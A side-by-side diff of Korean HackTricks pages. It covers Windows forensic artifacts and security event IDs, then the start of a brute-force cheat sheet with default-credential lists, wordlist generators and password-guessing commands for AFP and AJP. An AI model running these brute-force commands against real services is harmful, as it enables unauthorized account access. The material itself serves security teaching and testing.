@ -309,168 +313,206 @@ Windows Prefetch는 **실행된 프로그램의 캐시**를 생성하여 더 빨
### Superprefetch ### Superprefetch
**Superprefetch**는 prefetch와 동일한 목표를 가지고 있으며, **다음에 로드될 것을 예측하여 프로그램을 더 빨리 로드**합니다. 그러나 prefetch 서비스를 대체하지는 않습니다.\ **Superprefetch**는 **다음에 로드될 프로그램**을 예측하여 **프로그램을 더 빠르게 로드**하는 것과 같은 목표를 가지고 있습니다. 그러나, prefetch 서비스를 대체하지는 않습니다.\
이 서비스는 `C:\Windows\Prefetch\Ag*.db`에 데이터베이스 파일을 생성합니다. 이 서비스는 `C:\Windows\Prefetch\Ag*.db`에 데이터베이스 파일을 생성합니다.
이 데이터베이스에서는 **프로그램의 이름**, **실행 횟수**, **열린 파일**, **액세스된 볼륨**, **전체 경로**, **시간대** 및 **타임스탬프**를 찾을 수 있습니다. 이 데이터베이스에서는 **프로그램**의 **이름**, **실행** **횟수**, **열린** **파일**, **접근한** **볼륨**, **전체** **경로**, **시간대** 및 **타임스탬프**를 찾을 수 있습니다.
이 정보에는 [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) 도구를 사용하여 액세스할 수 있습니다. 이 정보를 얻으려면 [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) 도구를 사용할 수 있습니다.
### SRUM ### SRUM
**시스템 리소스 사용 모니터**(SRUM)는 **프로세스가 사용한 리소스를 모니터링**합니다. W8에 등장하며, 데이터는 `C:\Windows\System32\sru\SRUDB.dat`에 위치한 ESE 데이터베이스에 저장됩니다. **시스템 리소스 사용 모니터**(SRUM)는 **프로세스**에 의해 **소비된** **리소스**를 **모니터링**합니다. W8에서 나타났으며, `C:\Windows\System32\sru\SRUDB.dat`에 ESE 데이터베이스로 데이터를 저장합니다.
다음 정보를 제공합니다: 다음 정보를 제공합니다:
* AppID 및 경로 * AppID 및 경로
* 프로세스를 실행한 사용자 * 프로세스를 실행한 사용자
* 보낸 바이트 * 전송된 바이트
* 받은 바이트 * 수신된 바이트
* 네트워크 인터페이스 * 네트워크 인터페이스
* 연결 * 연결 지속 시
* 프로세스 * 프로세스 지속 시
이 정보는 매 60분마다 업데이트됩니다. 이 정보는 매 60분마다 업데이트됩니다.
이 파일에서 데이터를 얻을 수 있는 도구는 [**srum\_dump**](https://github.com/MarkBaggett/srum-dump)입니다. 이 파일에서 날짜를 얻으려면 [**srum\_dump**](https://github.com/MarkBaggett/srum-dump) 도구를 사용할 수 있습니다.
```bash ```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
``` ```
### AppCompatCache (ShimCache) ### AppCompatCache (ShimCache)
**AppCompatCache**(ShimCache)은 **Microsoft**이 개발한 **Application Compatibility Database**의 일부로, 응용 프로그램 호환성 문제를 해결하기 위해 만들어졌습니다. 이 시스템 구성 요소는 다음을 포함하는 다양한 파일 메타데이터를 기록합니다: **AppCompatCache**, 또는 **ShimCache**는 **Microsoft**가 애플리케이션 호환성 문제를 해결하기 위해 개발한 **Application Compatibility Database**의 일부입니다. 이 시스템 구성 요소는 다음과 같은 다양한 파일 메타데이터를 기록합니다:
- 파일의 전체 경로 * 파일의 전체 경로
- 파일의 크기 * 파일의 크기
- **$Standard\_Information** (SI) 하위의 최종 수정 시간 * **$Standard\_Information** (SI) 아래의 마지막 수정 시간
- ShimCache의 최종 업데이트 시간 * ShimCache의 마지막 업데이트 시간
- 프로세스 실행 플래그 * 프로세스 실행 플래그
이러한 데이터는 운영 체제 버전에 따라 레지스트리의 특정 위치에 저장됩니다: 이러한 데이터는 운영 체제 버전에 따라 특정 위치의 레지스트리에 저장됩니다:
- XP의 경우, 데이터는 `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`에 저장되며 96개의 항목을 수용합니다. * XP의 경우, 데이터는 `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` 아래에 저장되며, 96개의 항목을 수용할 수 있습니다.
- Server 2003 및 Windows 버전 2008, 2012, 2016, 7, 8 및 10의 경우, 저장 경로는 각각 512개 및 1024개의 항목을 수용하는 `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`니다. * Server 2003 및 Windows 버전 2008, 2012, 2016, 7, 8, 10의 경우, 저장 경로는 `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`이며, 각각 512개 및 1024개의 항목을 수용합니다.
저장된 정보를 구문 분석하려면 [**AppCompatCacheParser** 도구](https://github.com/EricZimmerman/AppCompatCacheParser)를 사용하는 것이 좋습니다. 저장된 정보를 파싱하기 위해 [**AppCompatCacheParser** 도구](https://github.com/EricZimmerman/AppCompatCacheParser)를 사용하는 것이 권장됩니다.
![](<../../../.gitbook/assets/image (75).png>) ![](<../../../.gitbook/assets/image (75).png>)
### Amcache ### Amcache
**Amcache.hve** 파일은 시스템에서 실행된 응용 프로그램에 대한 세부 정보를 기록하는 레지스트리 하이브입니다. 일반적으로 `C:\Windows\AppCompat\Programas\Amcache.hve`서 찾을 수 있습니다. **Amcache.hve** 파일은 시스템에서 실행된 애플리케이션에 대한 세부 정보를 기록하는 레지스트리 하이브입니다. 일반적으로 `C:\Windows\AppCompat\Programas\Amcache.hve` 위치합니다.
이 파일은 최근 실행된 프로세스의 레코드를 저장하는 데 주목할 만하며, 실행 파일의 경로와 그들의 SHA1 해시를 포함합니다. 이 정보는 시스템에서 응용 프로그램의 활동을 추적하는 데 귀중합니다. 이 파일은 최근에 실행된 프로세스의 기록을 저장하는 것으로 주목받으며, 실행 파일의 경로와 SHA1 해시를 포함합니다. 이 정보는 시스템에서 애플리케이션의 활동을 추적하는 데 매우 유용합니다.
**Amcache.hve**에서 데이터를 추출하고 분석하기 위해 [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) 도구를 사용할 수 있습니다. 다음 명령은 **Amcache.hve** 파일의 내용을 구문 분석하고 결과를 CSV 형식으로 출력하는 방법의 예입니다: **Amcache.hve**에서 데이터를 추출하고 분석하기 위해 [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) 도구를 사용할 수 있습니다. 다음 명령은 AmcacheParser를 사용하여 **Amcache.hve** 파일의 내용을 파싱하고 결과를 CSV 형식으로 출력하는 방법의 예입니다:
```bash ```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
``` ```
생성된 CSV 파일 중 `Amcache_Unassociated file entries`는 연관되지 않은 파일 항목에 대한 풍부한 정보를 제공하기 때문에 특히 주목할 가치가 있습니다. Among the generated CSV files, the `Amcache_Unassociated file entries`는 특히 주목할 만한데, 이는 비연관 파일 항목에 대한 풍부한 정보를 제공하기 때문입니다.
가장 흥미로운 CVS 파일은 `Amcache_Unassociated file entries`입니다. 가장 흥미로운 CVS 파일은 `Amcache_Unassociated file entries`입니다.
### RecentFileCache ### RecentFileCache
이 아티팩트는 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf`만 W7에서 찾을 수 있으며 일부 이진 파일의 최근 실행에 대한 정보를 포함합니다. 이 아티팩트는 W7에서만 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` 존재하며, 일부 바이너리의 최근 실행에 대한 정보를 포함하고 있습니다.
파일을 구문 분석하려면 [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) 도구를 사용할 수 있습니다. 파일을 파싱하려면 [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) 도구를 사용할 수 있습니다.
### 예약된 작업 ### Scheduled tasks
`C:\Windows\Tasks` 또는 `C:\Windows\System32\Tasks`에서 추출하여 XML로 읽을 수 있습니다. 이들은 `C:\Windows\Tasks` 또는 `C:\Windows\System32\Tasks`에서 추출할 수 있으며 XML로 읽을 수 있습니다.
### 서비스 ### Services
레지스트리에서 `SYSTEM\ControlSet001\Services` 아래에서 찾을 수 있습니다. 무엇이 실행될지와 언제 실행될지 확인할 수 있습니다. 이들은 `SYSTEM\ControlSet001\Services` 레지스트리에서 찾을 수 있습니다. 어떤 것이 실행될 것인지와 언제 실행될 것인지 확인할 수 있습니다.
### **Windows Store** ### **Windows Store**
설치된 애플리케이션은 `\ProgramData\Microsoft\Windows\AppRepository\`에서 찾을 수 있습니다.\ 설치된 애플리케이션은 `\ProgramData\Microsoft\Windows\AppRepository\`에서 찾을 수 있습니다. 이 저장소에는 데이터베이스 **`StateRepository-Machine.srd`** 내에 시스템에 설치된 **각 애플리케이션**에 대한 **로그**가 있습니다.
이 저장소에는 시스템에 설치된 각 애플리케이션에 대한 **로그**가 **`StateRepository-Machine.srd`** 데이터베이스 내부에 있습니다.
이 데이터베이스의 Application 테이블에서 "Application ID", "PackageNumber", "Display Name" 열을 찾을 수 있습니다. 이 열에는 사전 설치된 애플리케이션 및 설치된 애플리케이션에 대한 정보가 포함되어 있으며 설치된 애플리케이션의 ID는 연속적이어야 합니다. 이 데이터베이스의 애플리케이션 테이블 내에서 "Application ID", "PackageNumber", "Display Name" 열을 찾을 수 있습니다. 이 열들은 사전 설치된 애플리케이션과 설치된 애플리케이션에 대한 정보를 포함하고 있으며, 설치된 애플리케이션의 ID는 순차적이어야 하므로 일부 애플리케이션이 제거되었는지 확인할 수 있습니다.
또한 레지스트리 경로에서 **설치된 애플리케이션**을 찾을 수 있습니다: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ 레지스트리 경로 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\` 내에서도 **설치된 애플리케이션**을 찾을 수 있습니다. 그리고 **제거된** **애플리케이션**은 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`에서 찾을 수 있습니다.
그리고 **설치 해제된 애플리케이션**은 여기에서 찾을 수 있습니다: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Windows 이벤트 ## Windows Events
Windows 이벤트 내에 나타나는 정보는 다음과 같습니다: Windows 이벤트 내에 나타나는 정보는 다음과 같습니다:
* 무슨 일이 있었는가 * 발생한 사건
* 타임스탬프 (UTC + 0) * 타임스탬프 (UTC + 0)
* 관련된 사용자 * 관련된 사용자
* 관련된 호스트 (호스트 이름, IP) * 관련된 호스트 (호스트 이름, IP)
* 액세스된 에셋 (파일, 폴더, 프린터, 서비스) * 접근된 자산 (파일, 폴더, 프린터, 서비스)
로그는 Windows Vista 이전에는 `C:\Windows\System32\config` 있었고, Windows Vista 이후에는 `C:\Windows\System32\winevt\Logs`있습니다. Windows Vista 이전에는 이벤트 로그가 이진 형식이었고, 그 이후에는 **XML 형식**이며 **.evtx** 확장자를 사용합니다. 로그는 Windows Vista 이전에는 `C:\Windows\System32\config`에, Windows Vista 이후에는 `C:\Windows\System32\winevt\Logs`위치합니다. Windows Vista 이전에는 이벤트 로그가 이진 형식이었고, 이후에는 **XML 형식**으로 **.evtx** 확장자를 사용합니다.
이벤트 파일의 위치는 SYSTEM 레지스트리에서 **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**에서 찾을 수 있습니다. 이벤트 파일의 위치는 **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** 레지스트리에서 찾을 수 있습니다.
Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](https://eventlogxp.com)와 같은 다른 도구로 이를 시각화할 수 있습니다. **또는** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](https://eventlogxp.com) **또는** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**와 같은 다른 도구를 사용하여 시각화할 수 있습니다.
## Windows 보안 이벤트 로깅 이해 ## Understanding Windows Security Event Logging
보안 구성 파일에 기록된 액세스 이벤트는 `C:\Windows\System32\winevt\Security.evtx`에 있습니다. 이 파일의 크기는 조정 가능하며, 용량이 가득 차면 이전 이벤트가 덮어씌워집니다. 기록된 이벤트에는 사용자 로그인 및 로그오프, 사용자 작업, 보안 설정 변경, 파일, 폴더 및 공유 자산 액세스가 포함됩니다. 접근 이벤트는 `C:\Windows\System32\winevt\Security.evtx`에 위치한 보안 구성 파일에 기록됩니다. 이 파일의 크기는 조정 가능하며, 용량에 도달하면 이전 이벤트가 덮어씌워집니다. 기록된 이벤트에는 사용자 로그인 및 로그오프, 사용자 행동, 보안 설정 변경, 파일, 폴더 및 공유 자산 접근이 포함됩니다.
### 사용자 인증을 위한 주요 이벤트 ID: ### 사용자 인증을 위한 주요 이벤트 ID:
* **EventID 4624**: 사용자가 성공적으로 인증을 나타냅니다. * **EventID 4624**: 사용자가 성공적으로 인증되었음을 나타냅니다.
* **EventID 4625**: 인증 실패를 신호합니다. * **EventID 4625**: 인증 실패를 나타냅니다.
* **EventIDs 4634/4647**: 사용자 로그오프 이벤트를 나타냅니다. * **EventIDs 4634/4647**: 사용자 로그오프 이벤트를 나타냅니다.
* **EventID 4672**: 관리 권한으로 로그인을 나타냅니다. * **EventID 4672**: 관리 권한으로 로그인했음을 나타냅니다.
#### EventID 4634/4647 내의 하위 유형: #### EventID 4634/4647 내의 하위 유형:
* **Interactive (2)**: 직접 사용자 로그인. * **Interactive (2)**: 직접 사용자 로그인.
* **Network (3)**: 공유 폴더 액세스. * **Network (3)**: 공유 폴더 접근.
* **Batch (4)**: 일괄 처리 프로세스 실행. * **Batch (4)**: 배치 프로세스 실행.
* **Service (5)**: 서비스 시작. * **Service (5)**: 서비스 시작.
* **Proxy (6)**: 프록시 인증. * **Proxy (6)**: 프록시 인증.
* **Unlock (7)**: 호로 화면 잠금 해제. * **Unlock (7)**: 비밀번호로 화면 잠금 해제.
* **Network Cleartext (8)**: IIS에서의 평문 암호 전송. * **Network Cleartext (8)**: 일반 텍스트 비밀번호 전송, 종종 IIS에서 발생.
* **New Credentials (9)**: 액세스에 대한 다른 자격 증명 사용. * **New Credentials (9)**: 접근을 위한 다른 자격 증명 사용.
* **Remote Interactive (10)**: 원격 데스크톱 또는 터미널 서비스 로그인. * **Remote Interactive (10)**: 원격 데스크톱 또는 터미널 서비스 로그인.
* **Cache Interactive (11)**: 도메인 컨트롤러 연락 없이 캐시된 자격 증명으로 로그인. * **Cache Interactive (11)**: 도메인 컨트롤러와의 접촉 없이 캐시된 자격 증명으로 로그인.
* **Cache Remote Interactive (12)**: 캐시된 자격 증명으로 원격 로그인. * **Cache Remote Interactive (12)**: 캐시된 자격 증명으로 원격 로그인.
* **Cached Unlock (13)**: 캐시된 자격 증명으로 잠금 해제. * **Cached Unlock (13)**: 캐시된 자격 증명으로 잠금 해제.
#### EventID 4625의 상태 및 하위 상태 코드: #### EventID 4625의 상태 및 하위 상태 코드:
* **0xC0000064**: 사용자 이름이 존재하지 않음 - 사용자 이름 열거 공격을 나타낼 수 있습니다. * **0xC0000064**: 사용자 이름이 존재하지 않음 - 사용자 이름 열거 공격을 나타낼 수 있습니다.
* **0xC000006A**: 올바른 사용자 이름이지만 잘못된 암호 - 암호 추측 또는 무차별 대입 시도가 있을 수 있습니다. * **0xC000006A**: 올바른 사용자 이름이지만 잘못된 비밀번호 - 비밀번호 추측 또는 무차별 대입 시도를 나타낼 수 있습니다.
* **0xC0000234**: 사용자 계정 잠금 - 여러 번의 로그인 실패로 인한 무차별 대입 공격을 나타낼 수 있습니다. * **0xC0000234**: 사용자 계정이 잠김 - 여러 번의 로그인 실패로 인해 무차별 대입 공격이 발생했을 수 있습니다.
* **0xC0000072**: 계정 비활성화 - 비활성화된 계정에 대한 무단 액세스 시도가 있을 수 있습니다. * **0xC0000072**: 계정 비활성화 - 비활성 계정에 대한 무단 접근 시도.
* **0xC000006F**: 허용된 시간 외 로그인 - 설정된 로그인 시간 외에 액세스 시도가 있음을 나타내며, 무단 액세스의 가능성이 있습니다. * **0xC000006F**: 허용된 시간 외 로그인 - 설정된 로그인 시간 외 접근 시도, 무단 접근의 가능성을 나타냅니다.
* **0xC0000070**: 워크스테이션 제한 위반 - 무단 위치에서 로그인 시도가 있을 수 있습니다. * **0xC0000070**: 워크스테이션 제한 위반 - 무단 위치에서 로그인 시도.
* **0xC0000193**: 계정 만료 - 만료된 사용자 계정으로의 액세스 시도가 있을 수 있습니다. * **0xC0000193**: 계정 만료 - 만료된 사용자 계정으로 접근 시도.
* **0xC0000071**: 암호 만료 - 오래된 암호로의 로그인 시도가 있을 수 있습니다. * **0xC0000071**: 비밀번호 만료 - 만료된 비밀번호로 로그인 시도.
* **0xC0000133**: 시간 동기화 문제 - 클라이언트와 서버 간의 큰 시간 차이는 pass-the-ticket과 같은 더 정교한 공격을 나타낼 수 있습니다. * **0xC0000133**: 시간 동기화 문제 - 클라이언트와 서버 간의 큰 시간 차이는 패스-더-티켓과 같은 더 정교한 공격을 나타낼 수 있습니다.
* **0xC0000224**: 필수 암호 변경 필요 - 빈번한 필수 변경은 계정 보안을 불안정하게 만들려는 시도일 수 있습니다. * **0xC0000224**: 필수 비밀번호 변경 필요 - 빈번한 필수 변경은 계정 보안을 불안정하게 하려는 시도를 나타낼 수 있습니다.
* **0xC0000225**: 보안 문제가 아닌 시스템 버그를 나타냅니다. * **0xC0000225**: 보안 문제보다는 시스템 버그를 나타냅니다.
* **0xC000015b**: 거부된 로그온 유형 - 사용자가 서비스 로그온을 실행하려고 하는 등의 무단 로그온 유형으로의 액세스 시도가 있을 수 있습니다. * **0xC000015b**: 거부된 로그인 유형 - 사용자가 서비스 로그온을 시도하는 등 무단 로그인 유형으로 접근 시도.
#### EventID 4616: #### EventID 4616:
* **시간 변경**: 시스템 시간 변경, 이벤트 타임라인을 혼란스럽게 할 수 있습니다. * **시간 변경**: 시스템 시간 수정, 사건의 타임라인을 흐리게 할 수 있습니다.
#### EventID 6005 및 6006: #### EventID 6005 및 6006:
* **시스템 시작 및 종료**: EventID 6005는 시스템 시작을 나타내고, EventID 6006은 시스템 종료를 나타냅니다. * **시스템 시작 및 종료**: EventID 6005는 시스템 시작을 나타내고, EventID 6006은 종료를 나타냅니다.
#### EventID 1102: #### EventID 1102:
* **로그 삭제**: 불법 활동을 숨기기 위한 신호로 자주 발생하는 보안 로그 삭제. * **로그 삭제**: 보안 로그가 지워지는 것으로, 이는 종종 불법 활동을 은폐하려는 신호입니다.
#### USB 장치 추적을 위한 EventID: #### USB 장치 추적을 위한 이벤트 ID:
* **20001 / 20003 / 10000**: USB 장치 최초 연결. * **20001 / 20003 / 10000**: USB 장치 연결.
* **10100**: USB 드라이버 업데이트. * **10100**: USB 드라이버 업데이트.
* **EventID 112**: USB 장치 삽입 시간. * **EventID 112**: USB 장치 삽입 시간.
로그인 유형 및 자격 증명 덤핑 기회를 시뮬레이션하는 실용적인 예는 [Altered Security의 자세한 가이드](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)를 참조하십시오.
상태 및 하위 상태 코드를 포함한 이벤트 세부정보는 이벤트 원인에 대한 추가 통찰력을 제공하며, 특히 Event ID 4625에서 주목할 만합니다.
### Windows 이벤트 복구
삭제된 Windows 이벤트를 복구할 가능성을 높이기 위해, 의심되는 컴퓨터의 전원을 직접 분리하여 끄는 것이 좋습니다. **Bulk\_extractor**, `.evtx` 확장자를 지정하는 복구 도구는 이러한 이벤트를 복구하려고 시도하는 데 권장됩니다.
### Windows 이벤트를 통한 일반 공격 식별
일반 사이버 공격을 식별하는 데 Windows 이벤트 ID를 활용하는 포괄적인 가이드는 [Red Team Recipe](https://redteamrecipe.com/event-codes/)를 방문하십시오.
#### 무차별 대입 공격
여러 EventID 4625 기록으로 식별되며, 공격이 성공하면 EventID 4624가 뒤따릅니다.
#### 시간 변경
EventID 4616에 기록되며, 시스템 시간의 변경은 포렌식 분석을 복잡하게 만들 수 있습니다.
#### USB 장치 추적
USB 장치 추적에 유용한 시스템 이벤트 ID는 초기 사용을 위한 20001/20003/10000, 드라이버 업데이트를 위한 10100, 삽입 타임스탬프를 위한 DeviceSetupManager의 EventID 112가 포함됩니다.
#### 시스템 전원 이벤트 #### 시스템 전원 이벤트
EventID 6005은 시스템 시작을 나타내며, EventID 6006은 종료를 표시합니다. EventID 6005는 시스템 시작을 나타내고, EventID 6006은 종료를 나타냅니다.
#### 로그 삭제 #### 로그 삭제
보안 EventID 1102는 로그 삭제를 신호하는데, 이는 포렌식 분석에 중요한 이벤트입니다. 보안 EventID 1102는 로그 삭제를 신호하며, 이는 포렌식 분석에 중요한 이벤트입니다.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# 브루트 포스 - 치트 시트 # Brute Force - CheatSheet
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
## 기본 자격 증명 ## 기본 자격 증명
사용 중인 기술의 기본 자격 증명을 찾거나 다음 링크를 시도하세요: 사용 중인 기술의 기본 자격 증명을 위해 **구글에서 검색**하거나 **다음 링크를 시도**하세요:
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@ -39,9 +40,9 @@ HackTricks를 지원하는 다른 방법:
* [**https://many-passwords.github.io/**](https://many-passwords.github.io) * [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/) * [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **사용자 정의 사전 만들기** ## **자신만의 사전 만들기**
대상에 대한 정보를 최대한 찾아서 사용자 정의 사전을 생성하세요. 도움이 될 수 있는 도구: 대상에 대한 정보를 최대한 많이 찾아서 사용자 정의 사전을 생성하세요. 도움이 될 수 있는 도구:
### Crunch ### Crunch
```bash ```bash
@ -60,13 +61,13 @@ cewl example.com -m 5 -w words.txt
``` ```
### [CUPP](https://github.com/Mebus/cupp) ### [CUPP](https://github.com/Mebus/cupp)
피해자에 대한 지식(이름, 날짜 등)을 기반으로 암호를 생성합니다. 희생자에 대한 지식(이름, 날짜 등)을 바탕으로 비밀번호를 생성합니다.
``` ```
python3 cupp.py -h python3 cupp.py -h
``` ```
### [Wister](https://github.com/cycurity/wister) ### [Wister](https://github.com/cycurity/wister)
특정 대상에 대해 사용할 수 있는 고유하고 이상적인 워드리스트를 생성하는 기회를 제공하는 단어 세트를 제공할 수 있는 단어 목록 생성 도구입니다. 단어 목록 생성기 도구로, 단어 집합을 제공할 수 있으며, 주어진 단어에서 여러 변형을 만들 수 있는 가능성을 제공합니다. 특정 대상을 위해 사용할 수 있는 독특하고 이상적인 단어 목록을 생성합니다.
```bash ```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
@ -87,7 +88,7 @@ Finished in 0.920s.
``` ```
### [pydictor](https://github.com/LandGrey/pydictor) ### [pydictor](https://github.com/LandGrey/pydictor)
### 단어 목록 ### Wordlists
* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) * [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
@ -103,14 +104,14 @@ Finished in 0.920s.
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## 서비스 ## Services
서비스 이름별 알파벳순으로 정렬됨. 서비스 이름순으로 정렬되었습니다.
### AFP ### AFP
```bash ```bash
@ -123,14 +124,10 @@ msf> set USER_FILE <PATH_USERS>
msf> run msf> run
``` ```
### AJP ### AJP
AJP(Apache JServ Protocol)는 웹 서버와 서블릿 컨테이너 간의 통신을 위한 프로토콜입니다. AJP 포트(기본값은 8009)를 통해 통신하며, 보안 취약점으로 악용될 수 있습니다.
```bash ```bash
nmap --script ajp-brute -p 8009 <IP> nmap --script ajp-brute -p 8009 <IP>
``` ```
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) ## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM 및 Solace)
